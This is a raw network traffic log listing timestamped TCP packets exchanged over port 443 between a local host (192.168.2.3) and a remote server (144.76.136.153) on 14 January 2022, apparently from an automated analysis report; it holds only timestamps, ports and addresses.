Jan 14, 2022 01:51:43.686806917 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.686861038 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.686886072 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.686899900 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.686945915 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.710330963 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.710727930 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.710753918 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.711297035 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.711388111 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.711409092 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.711535931 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.711590052 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.711637020 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.711658001 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.711672068 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.711677074 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.711751938 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.711802959 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.711828947 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.711844921 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.711883068 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.711970091 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712029934 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712173939 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712222099 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712241888 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712260962 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712271929 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712277889 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712313890 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712368011 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712377071 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712394953 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712456942 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712457895 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712524891 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712531090 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712536097 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712560892 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712603092 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712613106 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712634087 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712649107 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712662935 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712707996 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712774992 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712827921 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712866068 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712879896 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.712919950 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.712933064 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.713098049 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.713155031 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.713196039 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.713210106 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.713253975 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.713265896 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.719274044 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.719333887 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.719430923 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.719445944 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.719470024 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.719485998 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.719752073 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.736948967 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.737006903 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.737045050 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.737083912 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.737099886 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.737240076 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.737265110 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.737315893 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.737350941 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.737365961 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.737384081 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.737581015 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.737709999 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.737763882 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.737889051 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.737904072 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.737917900 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.737977028 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.738085985 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.738141060 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.738169909 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.738184929 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.738231897 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.738260031 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.738485098 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.738538027 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.738569021 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.738589048 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.738606930 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.738858938 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.738965988 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.738985062 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.739255905 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.739505053 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.739613056 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.739804983 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.739844084 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.739895105 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.739912987 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.739928961 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.739996910 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.740035057 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.740072966 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.740087032 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.740102053 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.740135908 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.740145922 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.740169048 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.740223885 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.740232944 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.740255117 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.740293026 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.740304947 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.742901087 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.742954016 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.742993116 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.743006945 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.743030071 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.743067026 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.763760090 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.763806105 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.763870001 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.763902903 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.763921976 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.764051914 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.764089108 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.764123917 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.764143944 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.764157057 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.764163017 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.764203072 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.764461994 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.764499903 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.764602900 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.764617920 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.764664888 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.764921904 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.764961004 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.764998913 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.765012980 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.765064955 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.765083075 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.765357018 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.765393019 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.765431881 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.765455008 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.765470028 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.765507936 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.765755892 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.765793085 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.765839100 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.765856028 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.765868902 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.765923977 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.766216993 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.766257048 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.766294956 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.766314030 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.766333103 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.766412020 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.766597986 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.766634941 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.766671896 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.766684055 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.766710043 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.766726971 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.767014027 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.767050028 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.767096996 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.767110109 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.767124891 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.767148018 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.767426014 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.767465115 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.767509937 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.767522097 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.767538071 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.767817974 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.767868042 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.767950058 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.767962933 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.767975092 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.768029928 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.784895897 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.791795015 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.791841984 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.791909933 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.791930914 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.791973114 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.792079926 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.792117119 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.792167902 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.792186975 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.792207003 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.792455912 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.792486906 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.792526960 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.792576075 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.792592049 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.792608976 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.792922974 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.792958975 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.793004990 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.793025970 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.793045044 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.793256998 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.793344021 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.793381929 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.793421984 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.793437004 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.793451071 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.793731928 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.793781996 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.793818951 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.793865919 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.793880939 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.793895960 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.794214964 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.794264078 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.794297934 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.794313908 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.794327021 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.794332981 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.794353008 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.794641972 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.794680119 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.794722080 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.794734001 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.794748068 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.795079947 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.795114994 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.795159101 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.795175076 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.795187950 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.795243025 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.795494080 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.795531034 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.795582056 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.795593023 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.795609951 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.795663118 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.795895100 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.795933008 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.795974016 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.795985937 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.796003103 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.796039104 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.819781065 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.819823980 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.819892883 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.819917917 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.819935083 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.820096016 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.820143938 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.820179939 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.820235968 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.820251942 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.820267916 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.820594072 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.820630074 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.820682049 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.820699930 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.820713997 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.821007013 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.821057081 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.821103096 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.821118116 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.821137905 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.821171045 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.821419954 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.821455956 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.821505070 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.821516991 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.821532965 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.821751118 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.821844101 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.821907043 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.821954966 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.821970940 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.822017908 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.822026968 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.822307110 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.822375059 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.822402954 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.822415113 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.822437048 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.822489977 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.822619915 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.822657108 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.822698116 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.822710991 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.822726965 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.823071957 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.823107958 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.823151112 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.823168993 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.823184013 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.823308945 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.823457956 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.823493958 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.823538065 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.823553085 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.823565960 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.823911905 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.823949099 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.823986053 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.823998928 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.824019909 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.824052095 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.847659111 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.847696066 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.847768068 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.847781897 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.847794056 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.847929955 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.847968102 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.848009109 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.848028898 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.848046064 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.848109007 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.848335981 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.848376036 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.848432064 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.848444939 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.848464966 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.848505020 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.848747969 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.848787069 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.848834991 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.848854065 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.848866940 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.848928928 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.849162102 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.849199057 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.849255085 CET	49855	443	192.168.2.3	144.76.136.153
